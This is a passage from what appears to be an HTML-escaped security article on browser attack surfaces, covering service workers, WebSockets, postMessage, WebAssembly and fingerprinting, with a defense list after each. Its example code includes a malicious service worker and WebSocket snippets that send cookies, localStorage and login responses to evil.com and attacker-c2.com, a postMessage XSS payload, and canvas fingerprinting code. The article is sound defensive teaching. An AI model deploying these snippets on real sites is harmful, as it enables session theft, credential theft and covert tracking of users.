            &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
          &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extension-injected scripts can bypass CSP because they run with the extension's privileges, not the page's.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Minimize installed extensions — every extension is a trusted stranger&lt;/li&gt;
&lt;li&gt;Audit extension permissions before installing&lt;/li&gt;
&lt;li&gt;Use browser profiles to isolate sensitive browsing (banking) from general browsing&lt;/li&gt;
&lt;li&gt;Enterprise: enforce extension allowlists via policy&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  15. Service Workers — The Persistent Browser Implant
&lt;/h2&gt;

&lt;p&gt;Service Workers are the most powerful and most underestimated attack surface in modern browsers.&lt;/p&gt;

&lt;p&gt;A registered service worker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lives &lt;strong&gt;outside the page lifecycle&lt;/strong&gt; — persists after the tab closes&lt;/li&gt;
&lt;li&gt;Intercepts &lt;strong&gt;all network requests&lt;/strong&gt; from the origin&lt;/li&gt;
&lt;li&gt;Can serve &lt;strong&gt;cached responses&lt;/strong&gt; — even offline&lt;/li&gt;
&lt;li&gt;Can run &lt;strong&gt;background sync&lt;/strong&gt; and &lt;strong&gt;push handlers&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Threat
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Malicious service worker — intercepts all requests on the origin&lt;/span&gt;
&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fetch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Log every request made on this origin&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/log?url=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookieStore&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Serve malicious response for specific paths&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/login&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;respondWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/creds&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an attacker registers a malicious service worker via XSS — even a brief XSS — it persists after the vulnerability is patched. The implant outlives the injection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Service-Worker-Allowed&lt;/code&gt; header limits registration scope&lt;/li&gt;
&lt;li&gt;Implement Service Worker versioning with integrity checks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Clear-Site-Data: "cache", "storage"&lt;/code&gt; — nuclear option to clear registered workers&lt;/li&gt;
&lt;li&gt;Monitor for unexpected service worker registrations in your CSP report endpoint&lt;/li&gt;
&lt;li&gt;Service workers require HTTPS — enforcing HTTPS is a prerequisite defense&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  16. WebSockets — The Covert Channel
&lt;/h2&gt;

&lt;p&gt;WebSockets establish persistent, bidirectional connections. They bypass some security controls that apply to HTTP.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;WebSocket Hijacking (Cross-Site WebSocket Hijacking / CSWSH)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WebSockets don't enforce CORS. They use &lt;code&gt;Origin&lt;/code&gt; header — but only the &lt;em&gt;server&lt;/em&gt; validates it. If the server doesn't check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// On evil.com&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;wss://app.com/ws&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Includes cookies!&lt;/span&gt;
&lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onmessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/dump?d=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Data Exfiltration Channel&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WebSocket traffic is often less monitored than HTTP. An XSS payload that exfiltrates via WebSocket to a C2 server may evade detection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;wss://attacker-c2.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onopen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cookies&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;storage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Validate the &lt;code&gt;Origin&lt;/code&gt; header server-side on WebSocket handshake&lt;/li&gt;
&lt;li&gt;Use WebSocket-specific CSRF tokens&lt;/li&gt;
&lt;li&gt;Implement authentication at the WebSocket protocol level, not just on initial HTTP handshake&lt;/li&gt;
&lt;li&gt;CSP &lt;code&gt;connect-src&lt;/code&gt; controls which WebSocket endpoints can be connected to&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  17. postMessage — Cross-Frame Exploitation
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;postMessage&lt;/code&gt; is the sanctioned way for cross-origin iframes and windows to communicate. Insecure implementations create serious vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Sender: trusting any origin&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable: no origin check&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// event.origin is NOT checked&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#output&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// XSS sink&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Attacker from evil.com:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://app.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Receiver: broadcasting to any origin&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable: * target origin&lt;/span&gt;
&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;authToken&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Any frame can catch this&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the page is framed by an attacker's page, the &lt;code&gt;*&lt;/code&gt; wildcard means the attacker receives the auth token.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Always validate origin&lt;/span&gt;
&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;message&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://trusted-partner.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;// Now safe to process&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Always specify target origin when sending&lt;/span&gt;
&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMessage&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;authToken&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://trusted-parent.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  18. WebAssembly — The Obfuscation Layer
&lt;/h2&gt;

&lt;p&gt;WebAssembly (WASM) runs compiled binary code in the browser at near-native speed. It's designed for performance. Attackers use it for obfuscation and to evade JS-based security tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Threats
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Cryptomining&lt;/strong&gt;&lt;br&gt;
CoinHive and its successors shipped as WASM modules. JS-based CSP can't block WASM execution if the WASM file is allowed by &lt;code&gt;script-src&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Obfuscated Malware&lt;/strong&gt;&lt;br&gt;
WASM binaries are opaque to most content scanners, WAFs, and browser DevTools at first glance. A malicious WASM module can perform:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Side-channel attacks (Spectre implementations are easier in WASM)&lt;/li&gt;
&lt;li&gt;Cryptographic operations for C2 communication&lt;/li&gt;
&lt;li&gt;Deobfuscation of encrypted payloads&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Sandbox Escape Research&lt;/strong&gt;&lt;br&gt;
WASM JIT bugs have been a source of browser exploitation. The JIT compiler for WASM is a complex attack surface with a history of critical vulnerabilities.&lt;/p&gt;
&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;CSP &lt;code&gt;script-src&lt;/code&gt; with &lt;code&gt;'wasm-unsafe-eval'&lt;/code&gt; controls WASM instantiation&lt;/li&gt;
&lt;li&gt;Consider &lt;code&gt;Cross-Origin-Embedder-Policy: require-corp&lt;/code&gt; — required for &lt;code&gt;SharedArrayBuffer&lt;/code&gt;, which WASM side-channel attacks often rely on&lt;/li&gt;
&lt;li&gt;Monitor for unexpected WASM file loads via CSP reporting&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  19. Browser APIs — The Fingerprinting &amp;amp; Leakage Layer
&lt;/h2&gt;

&lt;p&gt;Every browser API that exists to help legitimate developers also helps attackers profile, track, and identify users.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Fingerprinting Arsenal
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;What It Leaks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.userAgent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OS, browser, version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;screen.width/height/colorDepth&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Display configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.hardwareConcurrency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CPU core count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.deviceMemory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RAM (rounded)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WebGL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;GPU vendor and renderer string&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AudioContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hardware-specific audio processing signature&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Canvas&lt;/code&gt; API&lt;/td&gt;
&lt;td&gt;Font rendering, GPU-level pixel differences&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;navigator.plugins&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Installed browser plugins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Intl.DateTimeFormat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Timezone and locale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;performance.now()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;High-res timer (Spectre-adjacent)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Combined, these create a &lt;strong&gt;fingerprint accurate enough to identify 95%+ of users&lt;/strong&gt; even without cookies.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Canvas Fingerprint
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;canvas&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textBaseline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;top&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;font&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;14px Arial&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fillText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Browser fingerprint 🔒&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fingerprint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toDataURL&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Unique per device/GPU&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Every GPU renders this text slightly differently at the sub-pixel level. The resulting data URL is a device fingerprint.&lt;/p&gt;
&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Firefox&lt;/strong&gt;: Enhanced Tracking Protection reduces fingerprinting API precision&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Brave&lt;/strong&gt;: Randomizes canvas, audio, and WebGL outputs per origin&lt;/li&gt;
&lt;li&gt;
